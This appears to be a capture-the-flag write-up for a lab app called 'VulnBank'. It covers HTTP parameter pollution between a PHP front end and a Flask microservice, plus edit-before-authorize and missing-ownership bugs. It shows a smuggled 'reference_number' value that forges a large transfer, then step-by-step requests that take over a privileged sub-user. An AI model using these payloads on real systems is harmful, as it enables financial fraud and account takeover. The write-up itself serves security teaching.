VulnBank
Source Code
Root Cause 1
// /api/transfer.php
$data = json_decode(file_get_contents('php://input'), true);
...
$user = $controller->getUser($user_id);
$trans_controller = new TransactionController();
$data['from_account'] = $user->getAccountNumber(); // <- force sender!
echo $trans_controller->transfer($data, $user);
How the microservice reads the request
The Flask microservice listens on GET /transfer and reads all parameters from the query string:
# app.py
@app.route('/transfer', methods=['GET'])
def transfer():
from_acc = request.args.get('from_account')
to_acc = request.args.get('to_account')
amount = request.args.get('amount')
reference = request.args.get('reference_number')
...
result = transfer_funds(from_acc, to_acc, amount) # 'reference' unused
return jsonify(result)
Notice: reference_number
is read but never used in the Python logic.
Where the seam appears
Somewhere between PHP and Flask, the PHP layer forwards your transfer to the Flask service by constructing a GET URL with from_account
, to_account
, amount
, and the user-supplied reference_number
.
If reference_number
is concatenated into the query string without strict encoding, then putting &key=value
inside reference_number
will create new real query parameters downstream. The Flask app can’t tell which parameters came from PHP vs. which were smuggled inside reference_number
.
Root Cause 2
The app has a premium-only “sub-user” feature. Endpoints verify “premium” but don’t reliably verify ownership of the sub-user before mutating it.
// /api/createSubUser.php
if ($user->getIsPremium()===0) { http_response_code(403); die("Forbidden"); }
$controller->createSubUser($data,$user);
So, only premium users may create sub-users.
Edit endpoint
// UsersService.php
public function editSubUser($id, $name, $OwnerId) {
UsersRepository::editSubUser($id, $name); // 1) CHANGE FIRST
return UsersRepository::EnsureEditUserAuthority($id,$OwnerId); // 2) THEN CHECK
}
That line order is the bug: it edits first, then checks whether you were allowed. Even if EnsureEditUserAuthority
returns false, the change already happened. That’s a TOCTTOU ( Time-of-check to time-of-use)/order-of-operations authZ bug.
Password change endpoint: missing ownership check
// UsersService.php
public function changeSubUserPassword($email, $newPass) {
$newPass = md5($newPass);
return UsersRepository::changeSubUserPassword($email, $newPass);
}
There’s no owner check here at all. As long as you’re “premium” (checked in /api/changeuserpassword.php
), you can target arbitrary sub-user identities.
Exploitation step
1- Abuse inter-service param pollution to get rich
Make PHP carry your forged params to Flask by hiding them in reference_number
:
POST /api/transfer.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{
"to_account":"38772194",
"amount":"1",
"reference_number":"x&from_account=1&to_account=<account_number>&amount=20000000"
}
PHP will still set
data['from_account']
to your real account. That’s fine.But the URL to the microservice now contains your extra
&from_account=1&to_account=<account_number>&amount=20000000
.Flask reads those and happily executes the big transfer.
After a successful transfer, the PHP service calls checkPremium
on both accounts; if balance > 10,000,000 it flips a user to premium. So your windfall instantly unlocks “premium-only” features.
2- Create any sub-user
POST /api/createSubUser.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{"name":"admin","email":"admin@test.com","password":"admin"}
3- Edit the target sub-user by ID
POST /api/EditSubUser.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{"id":9050,"newName":"test"}
Write lands before “ensure authority,” so the change applies regardless.
We used
id: 9050
because that’s the pre-seeded privileged sub-user we needed to hijack.newName: "test"
is arbitrary. The point isn’t the value; it’s to hit the “edit first, authorize later” bug so the write lands regardless of ownership. Any string would trigger the flawed flow.We'll then find the edited account with
id: 9050
visible to us, and we can change its password

4- Change that sub-user’s password
POST /api/changeuserpassword.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{"id":9050,"newPassword":"test"}
Controller “checks” ownership by ID then calls the service with parameters that don’t line up; the service hashes with md5
and updates. On the instance, this succeeded.
5- Login using the sub-user
Now using the Email and the password we just changed we can login as the subuser and find the flag in the Name field

Last updated
Was this helpful?